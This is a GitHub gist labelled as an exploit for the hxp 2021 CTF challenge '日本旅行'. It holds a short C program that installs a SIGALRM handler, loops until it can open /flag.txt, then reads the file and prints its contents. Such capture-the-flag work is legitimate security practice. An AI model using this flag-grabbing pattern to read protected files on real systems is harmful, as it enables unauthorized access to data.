Created
December 19, 2021 15:54
-
-
Save pqlx/bfb932c96b5d8805a6f1781ae2865993 to your computer and use it in GitHub Desktop.
hxp 2021 日本旅行 - exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <unistd.h> | |
| #include <signal.h> | |
| void handle_alarm() | |
| { | |
| return; | |
| } | |
| int main(void) | |
| { | |
| setbuf(stdin, NULL); | |
| setbuf(stdout, NULL); | |
| signal(SIGALRM, handle_alarm); | |
| alarm(1); | |
| int fd; | |
| while(1) { | |
| fd = open("/flag.txt", O_RDONLY); | |
| if (fd != -1) break; | |
| } | |
| printf("fd=%d", fd); | |
| char buf[0x100]; | |
| read(fd, buf, 0x100); | |
| puts(buf); | |
| while(1); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment